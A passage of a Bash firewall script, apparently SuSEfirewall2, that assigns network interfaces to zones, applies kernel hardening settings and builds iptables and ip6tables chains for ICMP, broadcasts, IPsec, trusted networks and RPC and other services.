    local zone="$1"
    var="FW_DEV_`cibiz $zone`"
    eval set -- \$$var
    for dev in "$@" ; do
	if [ "$dev" = 'any' ]; then
	    if [ -n "$FW_ZONE_DEFAULT" ]; then
		error "zone '$FW_ZONE_DEFAULT' is already default, ignoring 'any' in '$var'"
	    else
		FW_ZONE_DEFAULT="$zone"
	    fi
	    continue
	elif [ "$dev" = 'auto' ]; then
	    warning "ignoring deprecated interface 'auto' in $var"
	    continue
	fi
	case "$dev" in *:*) continue; ;; esac

	devs="$devs $dev"
    done
    set -- $devs
    eval FW_DEV_$zone="\$*"
}

#sets iface_$name=$zone
check_interfaces_unique()
{
    local zone devs d z
    for zone in $all_zones; do
	eval devs="\$FW_DEV_$zone"
	for d in $devs; do
	    [ -z "$d" ] && continue
	    d=${d//[^A-Za-z0-9]/_}
	    eval z=\${iface_$d}
	    if [ -z "$z" ]; then
		eval iface_$d=$zone
	    else
		error "$d already in zone '$z' but also configured for '$zone'"
	    fi
	done
    done
}

source_config_for_iface()
{
    local iface="$1"
    local dir=/etc/sysconfig/network
    if [ -x /sbin/getcfg ] ; then
	eval `/sbin/getcfg -d $dir -f ifcfg- -- $iface 2>/dev/null`
	cfg="$HWD_CONFIG_0"
    fi
    if [ -z "$cfg" ]; then
	cfg=$iface
    fi
    source_safe $dir/ifcfg-$cfg 2>/dev/null
}

check_iface_override()
{
    local iface="$1"
    local f="$STATUSDIR/override/interfaces/$iface/zone"
    local z dummy
    test -e "$f" || return 0
    read z dummy < "$f" || return 0
    echo "$z"
}

autodetect_interfaces()
{
    local d z
    local have_override=''
    [ "${FW_AUTODETECT_INTERFACES:-yes}" = 'yes' ] || return
    set -- /sys/class/net/*
    for d in "$@"; do
	test -d "$d" || continue
	d="${d#/sys/class/net/}"
	[ -z "$d" -o "$d" = 'lo' -o "$d" = 'sit0' ] && continue
	d=${d//[^A-Za-z0-9]/_}
	unset z
	if [ "$FW_RUNTIME_OVERRIDE" != 'no' ]; then
	    z=`check_iface_override $d`
	    if [ -n "$z" ]; then
		eval iface_$d=$z
		if eval [ -n "\"\$zone_$z\"" ]; then
		    message "runtime zone override '$z' for interface '$d'"
		    have_override=1
		    continue
		else
		    error "invalid zone '$z' as override for interface '$d'"
		fi
	    fi
	fi
	eval z=\${iface_$d}
	[ -n "$z" ] && continue
	eval [ -n "\"\$seen_$d\"" ] && continue
	eval local seen_$d=1
	z=`source_config_for_iface $d && echo $FW_ZONE`
	if [ -n "$z" ]; then
	    if eval [ -n "\"\$zone_$z\"" ]; then
		eval FW_DEV_$z="\"\$FW_DEV_$z \$d\""
		#" fix vim syntax
		eval iface_$d=$z
	    else
		error "invalid zone '$z' specified for interface '$d'"
	    fi
	elif [ -n "$FW_ZONE_DEFAULT" -a "$FW_ZONE_DEFAULT" != 'no' ]; then
	    z=${FW_ZONE_DEFAULT//[^A-Za-z0-9]/_}
	    message "using default zone '$z' for interface $d"
	    eval FW_DEV_$z="\"\$FW_DEV_$z \$d\""
	    #" fix vim syntax
	    eval iface_$d=$z
	else
	    warning "no firewall zone defined for interface $d"
	fi
    done

    # runtime override, we have to reconstruct FW_DEV_*
    if [ -n "$have_override" ]; then
	for z in $all_zones; do
	    eval "FW_DEV_$z=''"
	done
	for d in ${!iface_*}; do
	    eval z="\$$d"
	    eval "FW_DEV_$z=\"\$FW_DEV_$z ${d#iface_}\""
	done
    fi
}

write_interface_status()
{
    local d z
    mkdir -p "$STATUSDIR"/status/interfaces
    for d in "$STATUSDIR/status/interfaces/"*; do
	d=${d##*/}
	[ "$d" != '*' ] || break
	d=${d//[^A-Za-z0-9]/_}
	eval z="\$iface_$d"
	if [ -z "$z" ]; then
	    rm -rf "$STATUSDIR/status/interfaces/$d"
	else
	    eval local seen_$d=1
	    echo $z > "$STATUSDIR/status/interfaces/$d/.zone.new"
	    mv "$STATUSDIR/status/interfaces/$d/.zone.new" "$STATUSDIR/status/interfaces/$d/zone"
	fi
    done
    for d in ${!iface_*}; do
	eval z="\$$d"
	d=${d#iface_}
	eval [ -n "\"\$seen_$d\"" ] && continue
	mkdir "$STATUSDIR/status/interfaces/$d"
	echo $z > "$STATUSDIR/status/interfaces/$d/.zone.new"
	mv "$STATUSDIR/status/interfaces/$d/.zone.new" "$STATUSDIR/status/interfaces/$d/zone"
    done
}

write_zone_status()
{
    local v z
    mkdir -p "$STATUSDIR/status/zones"
    for z in "$STATUSDIR/status/zones/"*; do
	z=${z##*/}
	[ "$z" != '*' ] || break
	z=${z//[^A-Za-z0-9]/_}
	eval v="\$zone_$d"
	if [ -z "$v" ]; then
	    rm -rf "$STATUSDIR/status/zones/$z"
	else
	    eval local seen_$z=1
	fi
    done
    for z in $all_zones; do
	eval [ -n "\"\$seen_$z\"" ] && continue
	mkdir "$STATUSDIR/status/zones/$z"
    done
}

write_status()
{
    [ "$MODE" != "debug" ] || return
    [ "$FW_WRITE_STATUS" != "no" ] || return

    write_interface_status
    write_zone_status
}

parse_interfaces()
{
    local zone devs

    any_zone=false

    for zone in $all_zones; do
	evaluateinterfaces $zone

	eval devs="\$FW_DEV_$zone"

	if [ -n "$devs" ]; then
		any_zone=true
	fi
    done
    if [ -z "$FW_ZONE_DEFAULT" ]; then
	FW_ZONE_DEFAULT='ext'
    else
	any_zone=true
    fi

    # detect the situation when no zones have been defined at all which means
    # we have some "don't care/don't know" user, probably a desktop PC, they
    # expect certain things to work out of the box
    if [ $any_zone = true ]; then
	FW_CONFIGURED=true
    else
	FW_CONFIGURED=false
    fi
}

process_masq_dev()
{
    local devs=""
    local dev
    set -- $FW_MASQ_DEV
    for dev in "$@" ; do
	if [ "$dev" = 'auto' ]; then
	    warning "ignoring deprecated interface 'auto' in FW_MASQ_DEV"
	    continue
	fi
	# zone specified?
	if [ "$dev" != "${dev#zone:}" ]; then
	    dev=${dev#zone:}
	    if eval [ -n "\"\$zone_$dev\"" ]; then
		eval devs="\"\$devs \$FW_DEV_$dev\""
		continue
	    fi
	fi
	case "$dev" in *:*) continue; ;; esac

	devs="$devs $dev"
    done
    FW_MASQ_DEV="$devs"
}

load_customrules()
{
	### Load custom rules
	if [ -n "$FW_CUSTOMRULES" ]; then
		source_safe "$FW_CUSTOMRULES"
		if [ $? -eq 0 ]; then
			message "Firewall custom rules loaded from $FW_CUSTOMRULES"
		else
			die 1 "Failed to load custom rules"
		fi
	fi
}

check_interfaces()
{
    local v
    for zone in $all_zones; do
	eval v="\$FW_DEV_$zone"
	[ -n "$v" ] && return
    done
    warning 'no interface active'
}

verify_parameters()
{
    if [ "$FW_ROUTE" = no ]; then
	if [ "$FW_MASQUERADE" = yes ]; then
	    warning 'FW_ROUTE needs to be set to yes for masquerading to work!'
	fi
	if [ "$FW_ALLOW_CLASS_ROUTING" = yes ]; then
	    warning 'FW_ROUTE needs to be set to yes for FW_ALLOW_CLASS_ROUTING to work!'
	fi
	if [ "$FW_ALLOW_PING_DMZ" = yes -o "$FW_ALLOW_PING_EXT" = yes ]; then
	    warning 'FW_ROUTE needs to be set to yes for FW_ALLOW_PING_EXT and/or FW_ALLOW_PING_DMZ to work!'
	fi
    fi

    if [ "$FW_MASQUERADE" = no ]; then
	[ -n "$FW_MASQ_NETS" -a "$FW_MASQ_NETS" != "0/0" ] && warning 'FW_MASQ_NETS needs FW_MASQUERADE set to yes to work!'
	[ -n "$FW_FORWARD_MASQ" ] && warning 'FW_FORWARD_MASQ needs FW_MASQUERADE set to yes to work!'
    fi
}

# Turn ip forwarding on if configured
switch_on_ip_forwarding()
{
    if [ -z "$orig_ipv4_forwarding" ]; then
	# save the original value before we overwrite it. needed in
	# fw_after_finished
	orig_ipv4_forwarding=`cat /proc/sys/net/ipv4/ip_forward`
    fi

    local yes_no="$1"
    local new_value=0
    [ "$yes_no" = "yes" ] && new_value=1

    # global forwarding
    setproc $new_value /proc/sys/net/ipv4/ip_forward

    # iterare over each single interface, too, because they may be decoupled
    # from the global setting
    if [ "$FW_KERNEL_SECURITY" != "no" ]; then
	for i in /proc/sys/net/ipv4/conf/*; do
	    setproc $new_value $i/forwarding
        done
    fi
}

# warn user if device to masquerade is  from a non private network
# 0/0 has to be skipped here, otherwise the spoof rules would block
# anything
verify_masq_nets()
{
    local nets net1
    for nets in $FW_MASQ_NETS ; do
	IFS=, eval set -- \$nets
	net1="$1"

	# skip 0/0
	test "$net1" = "0/0" && continue

	IFS=/ eval set -- \$net1

	[ -z "$2" ] && continue

	case "$1" in
	    10.*|172.1[6789].*|172.2[0-9].*|172.3[01].*|192.168.*) ;;
	    *) warning "The network $net1 you want to masquerade is not from a private network " \
		    'like 10.0.0.0/8, 172.16.0.0/12 or 192.168.0.0/16'
	esac
    done
}

#################################
# Configuring more kernel stuff #
#################################
set_proc_stuff()
{
    if [ "$FW_KERNEL_SECURITY" != no ]; then
	setproc 1 /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts 
# test "$FW_ALLOW_PING_FW" = yes || setproc 1 /proc/sys/net/ipv4/icmp_echo_ignore_all  # XXX
	setproc 1 /proc/sys/net/ipv4/ip_always_defrag  # XXX not there?
	setproc 1 /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses 
	setproc 5 /proc/sys/net/ipv4/icmp_echoreply_rate 
	setproc 5 /proc/sys/net/ipv4/icmp_destunreach_rate 
	setproc 5 /proc/sys/net/ipv4/icmp_paramprob_rate 
	setproc 6 /proc/sys/net/ipv4/icmp_timeexceed_rate 
	setproc 20 /proc/sys/net/ipv4/ipfrag_time 
	for i in /proc/sys/net/ipv4/conf/*; do
	    setproc 1 $i/log_martians 
	    setproc 0 $i/bootp_relay 
	    setproc 0 $i/proxy_arp 
	    setproc 1 $i/secure_redirects 
	    #setproc 0 $i/accept_redirects # let kernel decide this
	    setproc 0 $i/accept_source_route 
	    setproc 1 $i/rp_filter 
	done
	setproc 1 /proc/sys/net/ipv4/route/flush
    fi
}

# Make input/forward chains
create_chains()
{
    local iptables
    local zone target
    for iptables in "$IPTABLES" "$IP6TABLES"; do
	for target in input forward; do
	    for zone in $all_zones; do
		$iptables -N ${target}_${zone}
	    done
	done
    done
}

# accept a packet coming from ext zone:
#  create_cond_chain ACCEPT in ext
# reject paket leaving int zone:
#  create_cond_chain REJECT out int
create_cond_chain()
{
    local iptables dir
    local zone target chain chain devs
    local check
    target="$1"
    dir="$2"
    zone="$3"
    chain="${target}_if_${dir}_${zone}"
    eval check=\"\$${chain}_created\"
    [ -z "$check" ] || return
    eval devs="\$FW_DEV_$zone"
    for iptables in "$IPTABLES" "$IP6TABLES"; do
	$iptables -N $chain
	for dev in $devs; do
	    $iptables -A $chain -j $target -${dir:0:1} $dev
	done
    done
    eval ${chain}_created=1
}

### configurations ###

parse_configurations()
{
    local var zone configurations config

    for zone in $input_zones; do
	var="FW_CONFIGURATIONS_`cibiz $zone`"
	eval configurations="\"\$$var\""

	for config in $configurations; do
	    local TCP=''
	    local UDP=''
	    local RPC=''
	    local IP=''
	    local BROADCAST=''
	    local RELATED=''
	    local MODULES=''
	    local ACCEPT=''

	    # XXX: could use a sub shell in order to enforce use of known variables only
            for CDIR in $CONFIGURATIONSDIR_0 $CONFIGURATIONSDIR_1; do
                source_safe $CDIR/$config && break
            done

	    if [ $? -ne 0 ]; then
		    warning "config '$config' not available"
		    continue
	    fi

	    for var in TCP UDP RPC IP; do
		eval [ -n \"\$$var\" ] \&\& FW_SERVICES_`cibiz $zone`_$var="\"\$FW_SERVICES_`cibiz $zone`_$var \$$var\""
	    done

	    if [ -n "$BROADCAST" ]; then
		var=FW_ALLOW_FW_BROADCAST_`cibiz $zone`
		eval allow="\"\$$var\""
		if [ "$allow" != 'yes' ]; then
		    # 'no' is ignored later anyways
		    eval $var="\"\$$var \$BROADCAST\""
		fi
	    fi
	    
	    if [ -n "$RELATED" ]; then
		eval FW_SERVICES_ACCEPT_RELATED_`cibiz $zone`="\"\$FW_SERVICES_ACCEPT_RELATED_`cibiz $zone` \$RELATED\""
	    fi

	    if [ -n "$ACCEPT" ]; then
		eval FW_SERVICES_ACCEPT_`cibiz $zone`="\"\$FW_SERVICES_ACCEPT_`cibiz $zone` \$ACCEPT\""
	    fi

	    if [ -n "$MODULES" ]; then
		eval FW_LOAD_MODULES="\"\$FW_LOAD_MODULES \$MODULES\""
	    fi

	done
    done
}

### handling of broadcasts ###

check_convert_old_broadcast()
{
    if [ -n "$FW_ALLOW_FW_BROADCAST" -o -n "$FW_IGNORE_FW_BROADCAST" ]; then
	need oldbroadcast
	convert_old_broadcast
    fi
}

drop_broadcast()
{
    local allow ignore port zone

    for zone in $input_zones; do
	eval allow="\$FW_ALLOW_FW_BROADCAST_`cibiz $zone`"
	eval ignore="\$FW_IGNORE_FW_BROADCAST_`cibiz $zone`"

	local match="-A input_$zone -m pkttype --pkt-type broadcast"

	for port in $allow; do
	    [ $port = no -o $port = yes ] && continue
	    $LAA $IPTABLES $match -p udp --dport $port ${LOG}"-ACC-BCAST${zone:0:1} "
	    $IPTABLES $match -p udp --dport $port -j "$ACCEPT"
	done

	if [ "$ignore" != 'yes' ]; then
	    for port in $ignore; do
		[ $port = no ] && continue
		$IPTABLES $match -p udp --dport $port -j "$DROP"
	    done

	    if [ "$allow" != 'yes' ]; then
		$LDA $IPTABLES $match ${LOG}"-DROP-BCAST${zone:0:1} "
	    fi
	fi

	if [ "$allow" != 'yes' ]; then
	    $IPTABLES $match -j "$DROP" # no need to send icmp for broadcasts
	fi
    done
}

### zones ###

parse_zones()
{
    local zone
    for zone in $FW_ZONES; do
	case $zone in
	    [Ii][Nn][Tt]|[Ee][Xx][Tt]|[Dd][Mm][Zz])
		error "FW_ZONES=$zone ignored" ;;
	    *)
		if [ "$zone" != "${zone//[^A-Za-z0-9]/_}" ]; then
		    error "ignoring invalid zone name $zone in FW_ZONES"
		else
		    all_zones="$all_zones $zone"
		fi
		;;
	esac
    done
    for zone in $all_zones; do
	eval "zone_$zone=0"
    done
}

remove_unused_zones()
{
    local zone zones devs
    for zone in $all_zones; do
	eval devs="\$FW_DEV_$zone"
	if [ -n "$devs" -o "$ipsec_chain" = $zone -o "$FW_ZONE_DEFAULT" = "$zone" ]; then
	    if [ -z "$zones" ]; then
		zones=$zone
	    else
		zones="$zones $zone"
	    fi
	fi
    done

    [ "$all_zones" != "$zones" ] && all_zones="$zones"
}

# convert if built in zone, eg ext -> EXT
cibiz()
{
    case $1 in
	int) echo INT ;;
	ext) echo EXT ;;
	dmz) echo DMZ ;;
	*)   echo "$1" ;;
    esac
}

# returns zero if the firewall is currently considered to be running, non-zero
# otherwise
is_firewall_running()
{
    /bin/systemctl -q is-active SuSEfirewall2 || return 1
}

# returns a safe identifier to use for the iptables comment module
# input:
# $1: the base identifier to use
# output:
# $id: the resulting id string
comment_id()
{
	id="$1"
	# avoid spaces in this label
	id=`echo $id | /usr/bin/tr ' ' ','`
	id="sfw2.$id"
}

# return comment options for adding comments to rules
# these comments help to identify rules in later invocations of this script,
# for incrementally removing them, for example
# input
# $1: unique identifier for the comment
# output
# $comment: resulting identifier
comment_pars()
{
	local id
	comment_id "$1"
	comment="-m comment --comment $id"
}

# gets the insert position for incremental updates of rule sets during
# update-rpc mode
#
# input
#
# $1: the chain where the insertion shall occur
#
# output
#
# $pos: the insertion number to pass to 'iptables -I <chain> <pos>'
get_insert_pos()
{
	local chain="$1"
	local id
	comment_id "insert.pos" 
	# see the comments in drop_all() and remove_matching_rules() for more
	# about this

	# just select the first matching rule in case there are multiple ones
	# (logging rule for example)
	pos=`$IPTABLES_BIN -S "$chain" | /usr/bin/tail -n+2 | /usr/bin/cat -n | /usr/bin/grep "\"$id\"" | /usr/bin/grep -o '^[[:space:]]*[0-9]\+' | /usr/bin/head -n 1`
}

# get the iptables parameters for inserting an rpc rule to a given chain
#
# input
#
# $1: boolean, whether we're running in update-rpc mode, thus incremental rule
# insertion is required
# $2: the chain where the insertion shall occur
#
# output
#
# $rpc_insert: the parameters to add to iptables to achieve the desired
# insertion
get_rpc_insert_pars()
{
	local update_rpc="$1"
	local chain="$2"

	if $update_rpc; then
	    local pos
	    get_insert_pos $chain
	    rpc_insert="-I $chain $pos"
	else
	    rpc_insert="-A $chain"
	fi
}

### IPsec ###

parse_ipsec()
{
    if [ "$FW_IPSEC_TRUST" = yes ]; then
	ipsec_chain="int"
    elif [ "$FW_IPSEC_TRUST" = no ]; then
	:
    elif [ -n "$FW_IPSEC_TRUST" ]; then
	for zone in $all_zones; do
	    if [ "$FW_IPSEC_TRUST" = "$zone" ]; then
		ipsec_chain="$zone"
		break;
	    fi
	done
	if [ -z "$ipsec_chain" ]; then
	    warning "FW_IPSEC_TRUST: $FW_IPSEC_TRUST is no valid zone"
	fi
    fi
}

allow_ipsec()
{
    if [ -n "$ipsec_chain" ]; then
	$IPTABLES -A INPUT -j "input_$ipsec_chain" $IPSEC_INPUT_MATCH
	$IPTABLES -A FORWARD -j "forward_$ipsec_chain" $IPSEC_INPUT_MATCH
	$IPTABLES -A FORWARD -j "forward_$ipsec_chain" $IPSEC_OUTPUT_MATCH
    fi
}

#####################################
# Rule split up - forking to chains #
#####################################
# ipv4 and ipv6
fork_to_chains()
{
    local iptables
    local zone
    local dev
    local devs
    local var val

    for iptables in "$IPTABLES" "$IP6TABLES"; do
	for zone in $saved_input_zones; do
	    var="FW_PROTECT_FROM_`cibiz $zone`"
	    eval val="\"\$$var\""
	    if [ "$val" = 'notrack' ]; then
		# already have rules for that
		continue
	    fi
	    if [ -n "$FW_ZONE_DEFAULT" -a "$FW_ZONE_DEFAULT" = "$zone" ]; then
		# default rule will catch it
		continue
	    fi
	    eval devs="\$FW_DEV_$zone"
	    for dev in $devs; do
		$iptables -A INPUT -j input_$zone -i $dev
	    done
	done
	if [ -n "$FW_ZONE_DEFAULT" -a "$FW_ZONE_DEFAULT" != 'no' ]; then
	    $iptables -A INPUT -j "input_$FW_ZONE_DEFAULT"
	fi
	if [ "$FW_ROUTE" = yes ]; then
	    for zone in $forward_zones; do
		eval devs="\$FW_DEV_$zone"
		for dev in $devs; do
		    $iptables -A FORWARD -j forward_$zone -i $dev
		done
	    done
	fi
    done
}

# ipv4 and ipv6
finish_chains()
{
    local iptables
    for iptables in "$IPTABLES" "$IP6TABLES"; do
	# anything which is now not in the input_* chains is evil
	$LDAC $iptables -A INPUT ${LOG}"-IN-ILL-TARGET " 
	$iptables -A INPUT -j "$DROP"

	$LDAC $iptables -A FORWARD ${LOG}"-FWD-ILL-ROUTING "
	if [ "$FW_ROUTE" = yes ]; then
	    $iptables -A FORWARD -j "$DROP" # this is an unneeded rule, but looks nice :)
	fi

	# we want to let locally generated packets out since our task is not
	# to protect the world from us, but protect us from the world ;)
	# policy is ACCEPT $iptables -A OUTPUT -j ACCEPT
    done

    # MSS stuff needs this?
    if [ "$FW_ROUTE" = yes ]; then
	$IPTABLES -I FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu
    fi
}

# Protect the firewall from the internal network? #
#
# optional parameters:
# $1: mode (currently only update-rpc: don't modify, just collect zones)
protect_from_internal()
{
    local iptables zone devs dev chain
    local newzones=
    local mode=$1

    for zone in $input_zones; do

	if [ "$zone" = "int" -a "$FW_PROTECT_FROM_INTERNAL" = "no" ]; then
	    val="no"
	    warning "FW_PROTECT_FROM_INTERNAL is deprecated, use FW_PROTECT_FROM_INT instead"
	else
	    var="FW_PROTECT_FROM_`cibiz $zone`"
	    eval val="\"\$$var\""
	fi

	if [ "$val" != notrack -a "$val" != no ]; then
	    if [ -z "$newzones" ]; then
		newzones="$zone"
	    else
		newzones="$newzones $zone"
	    fi
	elif [ "$mode" = "update-rpc" ]; then
	    continue
	elif [ "$val" = notrack ]; then
	    eval devs="\$FW_DEV_$zone"
	    for dev in $devs; do
		for iptables in "$IPTABLES" "$IP6TABLES"; do
		    $iptables -t raw -i $dev -I PREROUTING -j CT --notrack
		    $iptables -t raw -o $dev -I OUTPUT -j CT --notrack
		    $iptables -i $dev -I INPUT -j ACCEPT
		    $iptables -o $dev -I OUTPUT -j ACCEPT
		done
	    done
	elif [ "$val" = no ]; then
	    chain=input_$zone
	    for iptables in "$IPTABLES" "$IP6TABLES"; do
		$LAA $iptables -A $chain ${LOG}"-`rulelog $chain`-ACC-ALL " 
		$iptables -A $chain -j "$ACCEPT"
	    done
	fi
    done

    if [ "$input_zones" != "$newzones" ]; then 
	saved_input_zones="$input_zones" # need that for fork_to_chains
	input_zones="$newzones"
    fi
}

allow_related()
{
    local var
    local services target service proto net
    local iptables zone chain

    for zone in $input_zones; do
	chain=input_$zone
	var="FW_SERVICES_ACCEPT_RELATED_`cibiz $zone`"
	eval services="\"\$$var\""

	local service
	for service in $services; do
	    IFS=, eval set -- \$service
	    
	    net="${1:-0/0}"
	    proto="$2"
	    port="$3"
	    sport="$4"

	    iptables="$IPTABLES $IP6TABLES"
	    case "$net" in
		*:*) iptables="$IP6TABLES" ;;
		[0-9]*.*.*.*) iptables="$IPTABLES" ;;
	    esac

	    if check_proto_port "$proto" "$port" "$sport" "$var"; then
		for iptables in $iptables; do
		    $LAA $iptables -A $chain -s $net $proto $rport $rsport -m conntrack --ctstate RELATED ${LOG}"-`rulelog $chain`-REL "
		    $iptables -A $chain -s $net $proto $rport $rsport -j ACCEPT -m conntrack --ctstate RELATED
		done
	    fi
	done
    done
}

# ICMP stuff
allow_icmp()
{
    local chain dev itype zone devs
    # INPUT ICMP rules
    if [ "$FW_ALLOW_FW_SOURCEQUENCH" != "no" ]; then
	for chain in $input_zones; do
	    chain=input_$chain
	    $LAA $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-SQUENCH "  -p icmp --icmp-type source-quench
	    $IPTABLES -A $chain -j "$ACCEPT" -p icmp --icmp-type source-quench
	done
    fi

    if [ "$FW_ALLOW_PING_FW" != no ]; then
	for chain in $input_zones; do
	    chain=input_$chain
	    $LAA $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-PING "  -p icmp --icmp-type echo-request
	    $IPTABLES -A $chain -j "$ACCEPT" -p icmp --icmp-type echo-request

	    $LAA $IP6TABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-PING "  -p icmpv6 --icmpv6-type echo-request
	    $IP6TABLES -A $chain -j "$ACCEPT" -p icmpv6 --icmpv6-type echo-request
	done
    fi

# not needed as there is a generic accept rule for ICMP RELATED packets
#    local icmp_types="$safe_icmp_replies"
#    for itype in $icmp_types; do
#	for chain in $input_zones; do
#	    chain=input_$chain
#	    $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-ICMP "  -m conntrack --ctstate ESTABLISHED,RELATED -p icmp --icmp-type $itype
#	    $IPTABLES -A $chain -j "$ACCEPT" -m conntrack --ctstate ESTABLISHED,RELATED -p icmp --icmp-type $itype
#	done
#    done
#    icmp_types="$safe_icmpv6_replies"
#    for itype in $icmp_types; do
#	for chain in $input_zones; do
#	    chain=input_$chain
#	    $IP6TABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-ICMP " -m conntrack --ctstate ESTABLISHED,RELATED  -p icmpv6 --icmpv6-type $itype
#	    $IP6TABLES -A $chain -j "$ACCEPT" -m conntrack --ctstate ESTABLISHED,RELATED -p icmpv6 --icmpv6-type $itype
#	done
#    done
    # DROP rules for input ICMP are after trusted handling (see below)
    
    # state matching for these does not work
    icmp_types="$stateless_icmpv6_types"
    for itype in $icmp_types; do
	for chain in $input_zones; do
	    chain=input_$chain
	    $LAA $IP6TABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-ICMP " -p icmpv6 --icmpv6-type $itype
	    $IP6TABLES -A $chain -j "$ACCEPT" -p icmpv6 --icmpv6-type $itype
	done
    done
    $IP6TABLES -A OUTPUT -j "$ACCEPT" -p icmpv6 # XXX: some are not catched by conntrack, should be fixed in kernel
}

allow_forward_icmp_echo()
{
    [ "$FW_ROUTE" != "yes" ] && return

    local zone chain var val

    # FORWARD ICMP rules
    for zone in $forward_zones; do
	var="FW_ALLOW_PING_`cibiz $zone`"
	eval val="\"\$$var\""

	[ "$val" != yes ] && continue

	eval devs="\$FW_DEV_$zone"

	for dev in $devs; do
	    for chain in $forward_zones; do
		[ "$chain" = "$zone" ] && continue

		chain=forward_$chain
		$LAA $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-PING "  -p icmp --icmp-type echo-request -o $dev
		$IPTABLES -A $chain -j "$ACCEPT" -m conntrack --ctstate NEW -p icmp --icmp-type echo-request -o $dev
		$LAA $IP6TABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-PING "  -p icmpv6 --icmpv6-type echo-request -o $dev
		$IP6TABLES -A $chain -j "$ACCEPT" -m conntrack --ctstate NEW -p icmpv6 --icmpv6-type echo-request -o $dev
	    done
	done
	chain=forward_$zone
	$LAA $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-PING "  -p icmp --icmp-type echo-reply
	$IPTABLES -A $chain -j "$ACCEPT"  -m conntrack --ctstate ESTABLISHED -p icmp --icmp-type echo-reply
	$LAA $IP6TABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-PING "  -p icmpv6 --icmpv6-type echo-reply
	$IP6TABLES -A $chain -j "$ACCEPT"  -m conntrack --ctstate ESTABLISHED -p icmpv6 --icmpv6-type echo-reply
    done
    # drop rule for forwarding chains are at the end of the forwarding rules
}

#############################
# Trusted Networks Handling #
#############################
process_trusted_nets()
{
    local nets net chain
    for nets in $FW_TRUSTED_NETS; do
	IFS=, eval set -- \$nets
	net="$1"
	proto="$2"
	port="$3"

	# choose the ipv4/6 tables depending on the kind of subnet address
	# encountered
	ipxtables=`get_iptables $net`

	if [ -n "$4" ]; then
	    error "Too many arguments in FW_TRUSTED_NETS -> $nets"
	elif [ -z "$net" ]; then
	    error "network parameter of FW_TRUSTED_NETS is empty -> $nets"
	elif [ -z "$proto" -a -n "$port" ]; then
	    error "need to specify protocol for port $port in FW_TRUSTED_NETS"
	elif check_proto_port "$proto" "$port" "" 'FW_TRUSTED_NETS'; then
	    for chain in $input_zones; do # trusted networks can be on any interface ...
		chain=input_$chain
		$LAC $ipxtables -A $chain ${LOG}"-`rulelog $chain`-ACC-TRUST " -m conntrack --ctstate NEW -s $net $proto $port
		$LAA $ipxtables -A $chain ${LOG}"-`rulelog $chain`-ACC-TRUST " -s $net $proto $port
		$ipxtables -A $chain -j "$ACCEPT"  -m conntrack --ctstate NEW,ESTABLISHED,RELATED -s $net $proto $port
	    done
	fi
    done
}

# determine port numbers of rpc services and generate a suitable iptables
# parameter fragment
#
# parameters:
# $1: names of rpc services, e.g. ypbind mountd or a comma separated tuple
# like 192.168.1.0/24,_rpc_,nfs
rpcservicerules()
{

    # The -rpcinfo script by default implicitly adds extra rules for portmap
    # itself. This is because portmap needs to be reached in order for other
    # rpc services to work at all.
    perl "$SCRIPTSDIR/SuSEfirewall2-rpcinfo" "$1"
}

# parameters:
# $1: REJECT|DROP
# optional:
# $2: mode (currently only update-rpc)
# $3: service (for update-rpc mode)
reject_or_drop_services()
{
    local action="$1"
    local var
    local services target service proto net port
    local iptables zone chain
    local mode="$2" selected="$3"
    local update_rpc=false
    [ "$mode" = "update-rpc" ] && update_rpc=true

    eval target=\$$action

    for zone in $input_zones; do
	chain=input_$zone
	var="FW_SERVICES_${action}_`cibiz $zone`"
	eval services="\"\$$var\""
	
	local rpc_insert
	get_rpc_insert_pars $update_rpc $chain

	local service
	for service in $services; do
	    IFS=, eval set -- \$service

	    net="${1:-0/0}"
	    proto="$2"
	    port="$3"
	    sport="$4"

	    iptables_list=$IPTABLES_LIST
	    case "$net" in
		*:*) iptables_list="$IP6TABLES" ;;
		[0-9]*.*.*.*) iptables_list="$IPTABLES" ;;
	    esac

	    if [ "$proto" = "_rpc_" ]; then
		[ -n "$selected" -a "$selected" != $port ] && continue
		local comment
		comment_pars "rpc.$port"
		rpcservicerules $service | while read ARG; do
			for iptables in $iptables_list; do
			    $LDC $iptables $rpc_insert $comment ${LOG}"-`rulelog $chain`-$action " -m conntrack --ctstate NEW $ARG
			    $iptables $rpc_insert $comment -j "$target" $ARG
			done
		done
	    elif $update_rpc; then
	        # don't add any other rules in update rpc mode
	    	continue
	    elif check_proto_port "$proto" "$port" "$sport" "$var"; then
		for iptables in $iptables_list; do
		    $LDA $iptables -A $chain -s $net $proto $port $sport -m conntrack --ctstate NEW ${LOG}"-`rulelog $chain`-$action "
		    $iptables -A $chain -s $net $proto $port $sport -m conntrack --ctstate NEW -j "$target"
		done
	    fi
	done
    done
}

# optional parameters
# $1: mode (currently only update-rpc: used for selectively updating RPC
# rules)
# $2: selected service (for mode = update-rpc, to restrict to certain service)
accept_services()
{
    local var
    local services target service proto net
    local iptables zone chain
    local ipt_recent_update ipt_recent_set ipt_recent_rcheck
    local mode="$1" selected="$2"
    local update_rpc=false
    [ "$mode" = "update-rpc" ] && update_rpc=true

    for zone in $input_zones; do
	chain=input_$zone
	var="FW_SERVICES_ACCEPT_`cibiz $zone`"
	eval services="\"\$$var\""

	local rpc_insert
	get_rpc_insert_pars $update_rpc $chain

	local service
	for service in $services; do
	    ipt_recent_update=''
	    ipt_recent_set=''
	    ipt_recent_rcheck=''
	    IFS=, eval set -- \$service
	    if [ "$#" -lt 1 ]; then
		error "too few parameters in $var -> $service"
		continue
	    fi
	    
	    net="${1:-0/0}"
	    proto="$2"
	    port="$3"
	    sport="$4"

	    while [ "$#" -gt 4 ]; do
		case "$5" in
		    hitcount=*) ipt_recent_update="$ipt_recent_update --hitcount ${5#*=}"; shift ;;
		    blockseconds=*) ipt_recent_update="$ipt_recent_update --seconds ${5#*=}"; shift ;;
		    recentname=*)
			ipt_recent_update="$ipt_recent_update --name ${5#*=}"
			ipt_recent_set="$ipt_recent_set --name ${5#*=}"
